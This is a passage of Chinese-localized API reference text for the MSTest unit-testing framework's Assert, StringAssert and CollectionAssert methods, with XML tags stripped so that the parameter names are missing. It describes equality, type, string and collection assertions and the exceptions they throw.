测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if refers to the same object - as . - - - - - 测试指定值是否相等, - 如果两个值不相等,则引发一个异常。即使逻辑值相等,不同的数字类型也被视为 - 不相等。42L 不等于 42。 - - - The type of values to compare. - - - 要比较的第一个值。这是测试预期的值。 - - - 要比较的第二个值。这是测试下代码生成的值。 - - - Thrown if is not equal to . - - - - - 测试指定值是否相等, - 如果两个值不相等,则引发一个异常。即使逻辑值相等,不同的数字类型也被视为 - 不相等。42L 不等于 42。 - - - The type of values to compare. - - - 要比较的第一个值。这是测试预期的值。 - - - 要比较的第二个值。这是测试下代码生成的值。 - - - 要包含在异常中的消息,条件是当 - 不等于 。消息显示在 - 测试结果中。 - - - Thrown if is not equal to - . - - - - - 测试指定值是否相等, - 如果两个值不相等,则引发一个异常。即使逻辑值相等,不同的数字类型也被视为 - 不相等。42L 不等于 42。 - - - The type of values to compare. - - - 要比较的第一个值。这是测试预期的值。 - - - 要比较的第二个值。这是测试下代码生成的值。 - - - 要包含在异常中的消息,条件是当 - 不等于 。消息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is not equal to - . - - - - - 测试指定的值是否不相等, - 如果两个值相等,则引发一个异常。即使逻辑值相等,不同的数字类型也被视为 - 不相等。42L 不等于 42。 - - - The type of values to compare. - - - 要比较的第一个值。这是测试预期不匹配 - 的值 。 - - - 要比较的第二个值。这是测试下代码生成的值。 - - - Thrown if is equal to . - - - - - 测试指定的值是否不相等, - 如果两个值相等,则引发一个异常。即使逻辑值相等,不同的数字类型也被视为 - 不相等。42L 不等于 42。 - - - The type of values to compare. - - - 要比较的第一个值。这是测试预期不匹配 - 的值 。 - - - 要比较的第二个值。这是测试下代码生成的值。 - - - 要包含在异常中的消息,条件是当 - 等于 。消息显示在 - 测试结果中。 - - - Thrown if is equal to . - - - - - 测试指定的值是否不相等, - 如果两个值相等,则引发一个异常。即使逻辑值相等,不同的数字类型也被视为 - 不相等。42L 不等于 42。 - - - The type of values to compare. - - - 要比较的第一个值。这是测试预期不匹配 - 的值 。 - - - 要比较的第二个值。这是测试下代码生成的值。 - - - 要包含在异常中的消息,条件是当 - 等于 。消息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is equal to . - - - - - 测试指定对象是否相等, - 如果两个对象不相等,则引发一个异常。即使逻辑值相等, - 不同的数字类型也被视为不相等。42L 不等于 42。 - - - 要比较的第一个对象。这是测试预期的对象。 - - - 要比较的第二个对象。这是在测试下由代码生成的对象。 - - - Thrown if is not equal to - . - - - - - 测试指定对象是否相等, - 如果两个对象不相等,则引发一个异常。即使逻辑值相等, - 不同的数字类型也被视为不相等。42L 不等于 42。 - - - 要比较的第一个对象。这是测试预期的对象。 - - - 要比较的第二个对象。这是在测试下由代码生成的对象。 - - - 要包含在异常中的消息,条件是当 - 不等于 。消息显示在 - 测试结果中。 - - - Thrown if is not equal to - . - - - - - 测试指定对象是否相等, - 如果两个对象不相等,则引发一个异常。即使逻辑值相等, - 不同的数字类型也被视为不相等。42L 不等于 42。 - - - 要比较的第一个对象。这是测试预期的对象。 - - - 要比较的第二个对象。这是在测试下由代码生成的对象。 - - - 要包含在异常中的消息,条件是当 - 不等于 。消息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is not equal to - . - - - - - 测试指定对象是否不相等, - 如果相等,则引发一个异常。即使逻辑值相等,不同的数字类型也被视为 - 不相等。42L 不等于 42。 - - - 要比较的第一个对象。这是测试预期与 - 以下内容不匹配的值: 。 - - - 要比较的第二个对象。这是在测试下由代码生成的对象。 - - - Thrown if is equal to . - - - - - 测试指定对象是否不相等, - 如果相等,则引发一个异常。即使逻辑值相等,不同的数字类型也被视为 - 不相等。42L 不等于 42。 - - - 要比较的第一个对象。这是测试预期与 - 以下内容不匹配的值: 。 - - - 要比较的第二个对象。这是在测试下由代码生成的对象。 - - - 要包含在异常中的消息,条件是当 - 等于 。消息显示在 - 测试结果中。 - - - Thrown if is equal to . - - - - - 测试指定对象是否不相等, - 如果相等,则引发一个异常。即使逻辑值相等,不同的数字类型也被视为 - 不相等。42L 不等于 42。 - - - 要比较的第一个对象。这是测试预期与 - 以下内容不匹配的值: 。 - - - 要比较的第二个对象。这是在测试下由代码生成的对象。 - - - 要包含在异常中的消息,条件是当 - 等于 。消息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is equal to . - - - - - 测试指定的浮点型是否相等, - 如果不相等,则引发一个异常。 - - - 要比较的第一个浮点型。这是测试预期的浮点型。 - - - 要比较的第二个浮点型。这是测试下代码生成的浮点型。 - - - 所需准确度。仅在以下情况下引发异常: - 不同于 - 超过 。 - - - Thrown if is not equal to - . - - - - - 测试指定的浮点型是否相等, - 如果不相等,则引发一个异常。 - - - 要比较的第一个浮点型。这是测试预期的浮点型。 - - - 要比较的第二个浮点型。这是测试下代码生成的浮点型。 - - - 所需准确度。仅在以下情况下引发异常: - 不同于 - 超过 。 - - - 要包含在异常中的消息,条件是当 - 不同于 多于 - 。消息显示在测试结果中。 - - - Thrown if is not equal to - . - - - - - 测试指定的浮点型是否相等, - 如果不相等,则引发一个异常。 - - - 要比较的第一个浮点型。这是测试预期的浮点型。 - - - 要比较的第二个浮点型。这是测试下代码生成的浮点型。 - - - 所需准确度。仅在以下情况下引发异常: - 不同于 - 超过 。 - - - 要包含在异常中的消息,条件是当 - 不同于 多于 - 。消息显示在测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is not equal to - . - - - - - 测试指定的浮点型是否不相等, - 如果相等,则引发一个异常。 - - - 要比较的第一个浮动。这是测试预期与 - 以下内容匹配的浮动: 。 - - - 要比较的第二个浮点型。这是测试下代码生成的浮点型。 - - - 所需准确度。仅在以下情况下引发异常: - 不同于 - 最多 。 - - - Thrown if is equal to . - - - - - 测试指定的浮点型是否不相等, - 如果相等,则引发一个异常。 - - - 要比较的第一个浮动。这是测试预期与 - 以下内容匹配的浮动: 。 - - - 要比较的第二个浮点型。这是测试下代码生成的浮点型。 - - - 所需准确度。仅在以下情况下引发异常: - 不同于 - 最多 。 - - - 要包含在异常中的消息,条件是当 - 等于 或相差少于 - 。消息显示在测试结果中。 - - - Thrown if is equal to . - - - - - 测试指定的浮点型是否不相等, - 如果相等,则引发一个异常。 - - - 要比较的第一个浮动。这是测试预期与 - 以下内容匹配的浮动: 。 - - - 要比较的第二个浮点型。这是测试下代码生成的浮点型。 - - - 所需准确度。仅在以下情况下引发异常: - 不同于 - 最多 。 - - - 要包含在异常中的消息,条件是当 - 等于 或相差少于 - 。消息显示在测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is equal to . - - - - - 测试指定的双精度型是否相等。如果不相等, - 则引发一个异常。 - - - 要比较的第一个双精度型。这是测试预期的双精度型。 - - - 要比较的第二个双精度型。这是测试下代码生成的双精度型。 - - - 所需准确度。仅在以下情况下引发异常: - 不同于 - 超过 。 - - - Thrown if is not equal to - . - - - - - 测试指定的双精度型是否相等。如果不相等, - 则引发一个异常。 - - - 要比较的第一个双精度型。这是测试预期的双精度型。 - - - 要比较的第二个双精度型。这是测试下代码生成的双精度型。 - - - 所需准确度。仅在以下情况下引发异常: - 不同于 - 超过 。 - - - 要包含在异常中的消息,条件是当 - 不同于 多于 - 。消息显示在测试结果中。 - - - Thrown if is not equal to . - - - - - 测试指定的双精度型是否相等。如果不相等, - 则引发一个异常。 - - - 要比较的第一个双精度型。这是测试预期的双精度型。 - - - 要比较的第二个双精度型。这是测试下代码生成的双精度型。 - - - 所需准确度。仅在以下情况下引发异常: - 不同于 - 超过 。 - - - 要包含在异常中的消息,条件是当 - 不同于 多于 - 。消息显示在测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is not equal to . - - - - - 测试指定的双精度型是否不相等, - 如果相等,则引发一个异常。 - - - 要比较的第一个双精度型。这是测试预期不匹配 - 的双精度型。 - - - 要比较的第二个双精度型。这是测试下代码生成的双精度型。 - - - 所需准确度。仅在以下情况下引发异常: - 不同于 - 最多 。 - - - Thrown if is equal to . - - - - - 测试指定的双精度型是否不相等, - 如果相等,则引发一个异常。 - - - 要比较的第一个双精度型。这是测试预期不匹配 - 的双精度型。 - - - 要比较的第二个双精度型。这是测试下代码生成的双精度型。 - - - 所需准确度。仅在以下情况下引发异常: - 不同于 - 最多 。 - - - 要包含在异常中的消息,条件是当 - 等于 或相差少于 - 。消息显示在测试结果中。 - - - Thrown if is equal to . - - - - - 测试指定的双精度型是否不相等, - 如果相等,则引发一个异常。 - - - 要比较的第一个双精度型。这是测试预期不匹配 - 的双精度型。 - - - 要比较的第二个双精度型。这是测试下代码生成的双精度型。 - - - 所需准确度。仅在以下情况下引发异常: - 不同于 - 最多 。 - - - 要包含在异常中的消息,条件是当 - 等于 或相差少于 - 。消息显示在测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is equal to . - - - - - 测试指定的字符串是否相等, - 如果不相等,则引发一个异常。使用固定区域性进行比较。 - - - 要比较的第一个字符串。这是测试预期的字符串。 - - - 要比较的第二个字符串。这是在测试下由代码生成的字符串。 - - - 指示区分大小写或不区分大小写的比较的布尔。 (true - 指示区分大小写的比较。) - - - Thrown if is not equal to . - - - - - 测试指定的字符串是否相等, - 如果不相等,则引发一个异常。使用固定区域性进行比较。 - - - 要比较的第一个字符串。这是测试预期的字符串。 - - - 要比较的第二个字符串。这是在测试下由代码生成的字符串。 - - - 指示区分大小写或不区分大小写的比较的布尔。 (true - 指示区分大小写的比较。) - - - 要包含在异常中的消息,条件是当 - 不等于 。消息显示在 - 测试结果中。 - - - Thrown if is not equal to . - - - - - 测试指定的字符串是否相等, - 如果不相等,则引发一个异常。使用固定区域性进行比较。 - - - 要比较的第一个字符串。这是测试预期的字符串。 - - - 要比较的第二个字符串。这是在测试下由代码生成的字符串。 - - - 指示区分大小写或不区分大小写的比较的布尔。 (true - 指示区分大小写的比较。) - - - 要包含在异常中的消息,条件是当 - 不等于 。消息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is not equal to . - - - - - 测试指定的字符串是否相等,如果不相等, - 则引发一个异常。 - - - 要比较的第一个字符串。这是测试预期的字符串。 - - - 要比较的第二个字符串。这是在测试下由代码生成的字符串。 - - - 指示区分大小写或不区分大小写的比较的布尔。 (true - 指示区分大小写的比较。) - - - 提供区域性特定比较信息的 CultureInfo 对象。 - - - Thrown if is not equal to . - - - - - 测试指定的字符串是否相等,如果不相等, - 则引发一个异常。 - - - 要比较的第一个字符串。这是测试预期的字符串。 - - - 要比较的第二个字符串。这是在测试下由代码生成的字符串。 - - - 指示区分大小写或不区分大小写的比较的布尔。 (true - 指示区分大小写的比较。) - - - 提供区域性特定比较信息的 CultureInfo 对象。 - - - 要包含在异常中的消息,条件是当 - 不等于 。消息显示在 - 测试结果中。 - - - Thrown if is not equal to . - - - - - 测试指定的字符串是否相等,如果不相等, - 则引发一个异常。 - - - 要比较的第一个字符串。这是测试预期的字符串。 - - - 要比较的第二个字符串。这是在测试下由代码生成的字符串。 - - - 指示区分大小写或不区分大小写的比较的布尔。 (true - 指示区分大小写的比较。) - - - 提供区域性特定比较信息的 CultureInfo 对象。 - - - 要包含在异常中的消息,条件是当 - 不等于 。消息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is not equal to . - - - - - 测试指定字符串是否不相等, - 如果相等,则引发一个异常。使用固定区域性进行比较。 - - - 要比较的第一个字符串。 这是测试预期不匹配的 - 字符串 。 - - - 要比较的第二个字符串。这是在测试下由代码生成的字符串。 - - - 指示区分大小写或不区分大小写的比较的布尔。 (true - 指示区分大小写的比较。) - - - Thrown if is equal to . - - - - - 测试指定字符串是否不相等, - 如果相等,则引发一个异常。使用固定区域性进行比较。 - - - 要比较的第一个字符串。 这是测试预期不匹配的 - 字符串 。 - - - 要比较的第二个字符串。这是在测试下由代码生成的字符串。 - - - 指示区分大小写或不区分大小写的比较的布尔。 (true - 指示区分大小写的比较。) - - - 要包含在异常中的消息,条件是当 - 等于 。消息显示在 - 测试结果中。 - - - Thrown if is equal to . - - - - - 测试指定字符串是否不相等, - 如果相等,则引发一个异常。使用固定区域性进行比较。 - - - 要比较的第一个字符串。 这是测试预期不匹配的 - 字符串 。 - - - 要比较的第二个字符串。这是在测试下由代码生成的字符串。 - - - 指示区分大小写或不区分大小写的比较的布尔。 (true - 指示区分大小写的比较。) - - - 要包含在异常中的消息,条件是当 - 等于 。消息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is equal to . - - - - - 测试指定的字符串是否不相等, - 如果相等,则引发一个异常。 - - - 要比较的第一个字符串。 这是测试预期不匹配的 - 字符串 。 - - - 要比较的第二个字符串。这是在测试下由代码生成的字符串。 - - - 指示区分大小写或不区分大小写的比较的布尔。 (true - 指示区分大小写的比较。) - - - 提供区域性特定比较信息的 CultureInfo 对象。 - - - Thrown if is equal to . - - - - - 测试指定的字符串是否不相等, - 如果相等,则引发一个异常。 - - - 要比较的第一个字符串。 这是测试预期不匹配的 - 字符串 。 - - - 要比较的第二个字符串。这是在测试下由代码生成的字符串。 - - - 指示区分大小写或不区分大小写的比较的布尔。 (true - 指示区分大小写的比较。) - - - 提供区域性特定比较信息的 CultureInfo 对象。 - - - 要包含在异常中的消息,条件是当 - 等于 。消息显示在 - 测试结果中。 - - - Thrown if is equal to . - - - - - 测试指定的字符串是否不相等, - 如果相等,则引发一个异常。 - - - 要比较的第一个字符串。 这是测试预期不匹配的 - 字符串 。 - - - 要比较的第二个字符串。这是在测试下由代码生成的字符串。 - - - 指示区分大小写或不区分大小写的比较的布尔。 (true - 指示区分大小写的比较。) - - - 提供区域性特定比较信息的 CultureInfo 对象。 - - - 要包含在异常中的消息,条件是当 - 等于 。消息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is equal to . - - - - - 测试指定的对象是否是预期类型的一个实例, - 如果预期类型不位于对象的继承分层中, - 则引发一个异常。 - - - 测试预期为指定类型的对象。 - - - 预期类型。 - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - 测试指定的对象是否是预期类型的一个实例, - 如果预期类型不位于对象的继承分层中, - 则引发一个异常。 - - - 测试预期为指定类型的对象。 - - - 预期类型。 - - - 要包含在异常中的消息,条件是当 - 不是一个实例。消息 - 显示在测试结果中。 - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - 测试指定的对象是否是预期类型的一个实例, - 如果预期类型不位于对象的继承分层中, - 则引发一个异常。 - - - 测试预期为指定类型的对象。 - - - 预期类型。 - - - 要包含在异常中的消息,条件是当 - 不是一个实例。消息 - 显示在测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - 测试指定对象是否不是一个错误 - 类型实例,如果指定类型位于对象的 - 继承层次结构中,则引发一个异常。 - - - 测试预期不是指定类型的对象。 - - - 类型 不应。 - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - 测试指定对象是否不是一个错误 - 类型实例,如果指定类型位于对象的 - 继承层次结构中,则引发一个异常。 - - - 测试预期不是指定类型的对象。 - - - 类型 不应。 - - - 要包含在异常中的消息,条件是当 - 是一个实例。消息显示 - 在测试结果中。 - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - 测试指定对象是否不是一个错误 - 类型实例,如果指定类型位于对象的 - 继承层次结构中,则引发一个异常。 - - - 测试预期不是指定类型的对象。 - - - 类型 不应。 - - - 要包含在异常中的消息,条件是当 - 是一个实例。消息显示 - 在测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - 引发 AssertFailedException。 - - - Always thrown. - - - - - 引发 AssertFailedException。 - - - 包含在异常中的消息。信息显示在 - 测试结果中。 - - - Always thrown. - - - - - 引发 AssertFailedException。 - - - 包含在异常中的消息。信息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Always thrown. - - - - - 引发 AssertInconclusiveException。 - - - Always thrown. - - - - - 引发 AssertInconclusiveException。 - - - 包含在异常中的消息。信息显示在 - 测试结果中。 - - - Always thrown. - - - - - 引发 AssertInconclusiveException。 - - - 包含在异常中的消息。信息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Always thrown. - - - - - 静态相等重载用于比较两种类型实例的引用 - 相等。此方法应用于比较两个实例的 - 相等。此对象始终会引发 Assert.Fail。请在单元测试中使用 - Assert.AreEqual 和关联的重载。 - - 对象 A - 对象 B - 始终为 False。 - - - - 测试委托 指定的代码是否能准确引发指定类型 异常(非派生类型异常), - 且 - 如果代码不引发异常或引发非 类型的异常,则引发 - - AssertFailedException - 。 - - - 委托到要进行测试且预期将引发异常的代码。 - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - 应该引发的异常类型。 - - - - - 测试委托 指定的代码是否能准确引发指定类型 异常(非派生类型异常), - 且 - 如果代码不引发异常或引发非 类型的异常,则引发 - - AssertFailedException - 。 - - - 委托到要进行测试且预期将引发异常的代码。 - - - 要包含在异常中的消息,条件是当 - 不引发类型的异常 。 - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - 应该引发的异常类型。 - - - - - 测试委托 指定的代码是否能准确引发指定类型 异常(非派生类型异常), - 且 - 如果代码不引发异常或引发非 类型的异常,则引发 - - AssertFailedException - 。 - - - 委托到要进行测试且预期将引发异常的代码。 - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - 应该引发的异常类型。 - - - - - 测试委托 指定的代码是否能准确引发指定类型 异常(非派生类型异常), - 且 - 如果代码不引发异常或引发非 类型的异常,则引发 - - AssertFailedException - 。 - - - 委托到要进行测试且预期将引发异常的代码。 - - - 要包含在异常中的消息,条件是当 - 不引发类型的异常 。 - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - 应该引发的异常类型。 - - - - - 测试委托 指定的代码是否能准确引发指定类型 异常(非派生类型异常), - 且 - 如果代码不引发异常或引发非 类型的异常,则引发 - - AssertFailedException - 。 - - - 委托到要进行测试且预期将引发异常的代码。 - - - 要包含在异常中的消息,条件是当 - 不引发类型的异常 。 - - - 在格式化时使用的参数数组 。 - - - Type of exception expected to be thrown. - - - Thrown if does not throw exception of type . - - - 应该引发的异常类型。 - - - - - 测试委托 指定的代码是否能准确引发指定类型 异常(非派生类型异常), - 且 - 如果代码不引发异常或引发非 类型的异常,则引发 - - AssertFailedException - 。 - - - 委托到要进行测试且预期将引发异常的代码。 - - - 要包含在异常中的消息,条件是当 - 不引发类型的异常 。 - - - 在格式化时使用的参数数组 。 - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - 应该引发的异常类型。 - - - - - 测试委托 指定的代码是否能准确引发指定类型 异常(非派生类型异常), - 且 - 如果代码不引发异常或引发非 类型的异常,则引发 - - AssertFailedException - 。 - - - 委托到要进行测试且预期将引发异常的代码。 - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - 该 执行委托。 - - - - - 测试委托 指定的代码是否能准确引发指定类型 异常(非派生类型异常), - 如果代码不引发异常或引发非 类型的异常,则引发 AssertFailedException。 - - 委托到要进行测试且预期将引发异常的代码。 - - 要包含在异常中的消息,条件是当 - 不引发异常类型。 - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - 该 执行委托。 - - - - - 测试委托 指定的代码是否能准确引发指定类型 异常(非派生类型异常), - 如果代码不引发异常或引发非 类型的异常,则引发 AssertFailedException。 - - 委托到要进行测试且预期将引发异常的代码。 - - 要包含在异常中的消息,条件是当 - 不引发异常类型。 - - - 在格式化时使用的参数数组 。 - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - 该 执行委托。 - - - - - 将 null 字符("\0")替换为 "\\0"。 - - - 要搜索的字符串。 - - - 其中 null 字符替换为 "\\0" 的转换字符串。 - - - This is only public and still present to preserve compatibility with the V1 framework. - - - - - 用于创建和引发 AssertionFailedException 的帮助程序函数 - - - 引发异常的断言名称 - - - 描述断言失败条件的消息 - - - 参数。 - - - - - 检查有效条件的参数 - - - 参数。 - - - 断言名称。 - - - 参数名称 - - - 无效参数异常的消息 - - - 参数。 - - - - - 将对象安全地转换为字符串,处理 null 值和 null 字符。 - 将 null 值转换为 "(null)"。将 null 字符转换为 "\\0"。 - - - 要转换为字符串的对象。 - - - 转换的字符串。 - - - - - 字符串断言。 - - - - - 获取 CollectionAssert 功能的单一实例。 - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void ContainsWords(this StringAssert cusomtAssert, string value, ICollection substrings)" - Users could then use a syntax similar to the default assertions which in this case is "StringAssert.That.ContainsWords(value, substrings);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - 测试指定字符串是否包含指定子字符串, - 如果子字符串未出现在 - 测试字符串中,则引发一个异常。 - - - 预期要包含的字符串 。 - - - 字符串,预期出现在 。 - - - Thrown if is not found in - . - - - - - 测试指定字符串是否包含指定子字符串, - 如果子字符串未出现在 - 测试字符串中,则引发一个异常。 - - - 预期要包含的字符串 。 - - - 字符串,预期出现在 。 - - - 要包含在异常中的消息,条件是当 - 未处于 。消息显示在 - 测试结果中。 - - - Thrown if is not found in - . - - - - - 测试指定字符串是否包含指定子字符串, - 如果子字符串未出现在 - 测试字符串中,则引发一个异常。 - - - 预期要包含的字符串 。 - - - 字符串,预期出现在 。 - - - 要包含在异常中的消息,条件是当 - 未处于 。消息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is not found in - . - - - - - 测试指定的字符串是否以指定的子字符串开头, - 如果测试字符串不以该子字符串开头, - 则引发一个异常。 - - - 字符串,预期开头为。 - - - 预期是前缀的字符串。 - - - Thrown if does not begin with - . - - - - - 测试指定的字符串是否以指定的子字符串开头, - 如果测试字符串不以该子字符串开头, - 则引发一个异常。 - - - 字符串,预期开头为。 - - - 预期是前缀的字符串。 - - - 要包含在异常中的消息,条件是当 - 开头不为 。消息 - 显示在测试结果中。 - - - Thrown if does not begin with - . - - - - - 测试指定的字符串是否以指定的子字符串开头, - 如果测试字符串不以该子字符串开头, - 则引发一个异常。 - - - 字符串,预期开头为。 - - - 预期是前缀的字符串。 - - - 要包含在异常中的消息,条件是当 - 开头不为 。消息 - 显示在测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if does not begin with - . - - - - - 测试指定字符串是否以指定子字符串结尾, - 如果测试字符串不以子字符串结尾, - 则引发一个异常。 - - - 字符串,其结尾应为。 - - - 预期是后缀的字符串。 - - - Thrown if does not end with - . - - - - - 测试指定字符串是否以指定子字符串结尾, - 如果测试字符串不以子字符串结尾, - 则引发一个异常。 - - - 字符串,其结尾应为。 - - - 预期是后缀的字符串。 - - - 要包含在异常中的消息,条件是当 - 结尾不为 。消息 - 显示在测试结果中。 - - - Thrown if does not end with - . - - - - - 测试指定字符串是否以指定子字符串结尾, - 如果测试字符串不以子字符串结尾, - 则引发一个异常。 - - - 字符串,其结尾应为。 - - - 预期是后缀的字符串。 - - - 要包含在异常中的消息,条件是当 - 结尾不为 。消息 - 显示在测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if does not end with - . - - - - - 测试指定的字符串是否匹配正则表达式,如果字符串不匹配正则表达式,则 - 引发一个异常。 - - - 预期匹配的字符串 。 - - - 正则表达式 应 - 匹配。 - - - Thrown if does not match - . - - - - - 测试指定的字符串是否匹配正则表达式,如果字符串不匹配正则表达式,则 - 引发一个异常。 - - - 预期匹配的字符串 。 - - - 正则表达式 应 - 匹配。 - - - 要包含在异常中的消息,条件是当 - 不匹配 。消息显示在 - 测试结果中。 - - - Thrown if does not match - . - - - - - 测试指定的字符串是否匹配正则表达式,如果字符串不匹配正则表达式,则 - 引发一个异常。 - - - 预期匹配的字符串 。 - - - 正则表达式 应 - 匹配。 - - - 要包含在异常中的消息,条件是当 - 不匹配 。消息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if does not match - . - - - - - 测试指定字符串是否与正则表达式不匹配, - 如果字符串与表达式匹配,则引发一个异常。 - - - 预期不匹配的字符串。 - - - 正则表达式 预期 - 为不匹配。 - - - Thrown if matches . - - - - - 测试指定字符串是否与正则表达式不匹配, - 如果字符串与表达式匹配,则引发一个异常。 - - - 预期不匹配的字符串。 - - - 正则表达式 预期 - 为不匹配。 - - - 要包含在异常中的消息,条件是当 - 匹配 。消息显示在 - 测试结果中。 - - - Thrown if matches . - - - - - 测试指定字符串是否与正则表达式不匹配, - 如果字符串与表达式匹配,则引发一个异常。 - - - 预期不匹配的字符串。 - - - 正则表达式 预期 - 为不匹配。 - - - 要包含在异常中的消息,条件是当 - 匹配 。消息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if matches . - - - - - 帮助程序类的集合,用于测试与单元测试内的集合相关联的 - 多种条件。如果不满足被测条件, - 则引发一个异常。 - - - - - 获取 CollectionAssert 功能的单一实例。 - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void AreEqualUnordered(this CollectionAssert cusomtAssert, ICollection expected, ICollection actual)" - Users could then use a syntax similar to the default assertions which in this case is "CollectionAssert.That.AreEqualUnordered(list1, list2);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - 测试指定集合是否包含指定元素, - 如果集合不包含该元素,则引发一个异常。 - - - 要在其中搜索元素的集合。 - - - 预期位于集合中的元素。 - - - Thrown if is not found in - . - - - - - 测试指定集合是否包含指定元素, - 如果集合不包含该元素,则引发一个异常。 - - - 要在其中搜索元素的集合。 - - - 预期位于集合中的元素。 - - - 要包含在异常中的消息,条件是当 - 未处于 。消息显示在 - 测试结果中。 - - - Thrown if is not found in - . - - - - - 测试指定集合是否包含指定元素, - 如果集合不包含该元素,则引发一个异常。 - - - 要在其中搜索元素的集合。 - - - 预期位于集合中的元素。 - - - 要包含在异常中的消息,条件是当 - 未处于 。消息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is not found in - . - - - - - 测试指定的集合是否不包含指定 - 元素,如果集合包含该元素,则引发一个异常。 - - - 要在其中搜索元素的集合。 - - - 预期不在集合中的元素。 - - - Thrown if is found in - . - - - - - 测试指定的集合是否不包含指定 - 元素,如果集合包含该元素,则引发一个异常。 - - - 要在其中搜索元素的集合。 - - - 预期不在集合中的元素。 - - - 要包含在异常中的消息,条件是当 - 位于。消息显示在 - 测试结果中。 - - - Thrown if is found in - . - - - - - 测试指定的集合是否不包含指定 - 元素,如果集合包含该元素,则引发一个异常。 - - - 要在其中搜索元素的集合。 - - - 预期不在集合中的元素。 - - - 要包含在异常中的消息,条件是当 - 位于。消息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is found in - . - - - - - 测试指定的集合中所有项是否都为非 null, - 如果有元素为 null,则引发一个异常。 - - - 在其中搜索 null 元素的集合。 - - - Thrown if a null element is found in . - - - - - 测试指定的集合中所有项是否都为非 null, - 如果有元素为 null,则引发一个异常。 - - - 在其中搜索 null 元素的集合。 - - - 要包含在异常中的消息,条件是当 - 包含一个 null 元素。消息显示在测试结果中。 - - - Thrown if a null element is found in . - - - - - 测试指定的集合中所有项是否都为非 null, - 如果有元素为 null,则引发一个异常。 - - - 在其中搜索 null 元素的集合。 - - - 要包含在异常中的消息,条件是当 - 包含一个 null 元素。消息显示在测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if a null element is found in . - - - - - 测试指定集合中的所有项是否都唯一, - 如果集合中有任何两个元素相等,则引发异常。 - - - 要在其中搜索重复元素的集合。 - - - Thrown if a two or more equal elements are found in - . - - - - - 测试指定集合中的所有项是否都唯一, - 如果集合中有任何两个元素相等,则引发异常。 - - - 要在其中搜索重复元素的集合。 - - - 要包含在异常中的消息,条件是当 - 包含至少一个重复元素。消息显示在 - 测试结果中。 - - - Thrown if a two or more equal elements are found in - . - - - - - 测试指定集合中的所有项是否都唯一, - 如果集合中有任何两个元素相等,则引发异常。 - - - 要在其中搜索重复元素的集合。 - - - 要包含在异常中的消息,条件是当 - 包含至少一个重复元素。消息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if a two or more equal elements are found in - . - - - - - 测试一个集合是否是另一集合的子集, - 如果子集中的任何元素都不是超集中的元素, - 则引发一个异常。 - - - 预期为一个子集的集合。 - - - 预期为以下对象的超集的集合: - - - Thrown if an element in is not found in - . - - - - - 测试一个集合是否是另一集合的子集, - 如果子集中的任何元素都不是超集中的元素, - 则引发一个异常。 - - - 预期为一个子集的集合。 - - - 预期为以下对象的超集的集合: - - - 包括在异常中的消息,此时元素位于 - 未找到 . - 消息显示在测试结果中。 - - - Thrown if an element in is not found in - . - - - - - 测试一个集合是否是另一集合的子集, - 如果子集中的任何元素都不是超集中的元素, - 则引发一个异常。 - - - 预期为一个子集的集合。 - - - 预期为以下对象的超集的集合: - - - 包括在异常中的消息,此时元素位于 - 未找到 . - 消息显示在测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if an element in is not found in - . - - - - - 测试一个集合是否不是另一个集合的子集, - 如果子集中的所有元素同时位于超集中, - 则引发一个异常. - - - 预期不是一个子集的集合 。 - - - 预期不为超集的集合 - - - Thrown if every element in is also found in - . - - - - - 测试一个集合是否不是另一个集合的子集, - 如果子集中的所有元素同时位于超集中, - 则引发一个异常. - - - 预期不是一个子集的集合 。 - - - 预期不为超集的集合 - - - 要包含在异常中的消息,条件是当每个元素 - 还存在于. - 消息显示在测试结果中。 - - - Thrown if every element in is also found in - . - - - - - 测试一个集合是否不是另一个集合的子集, - 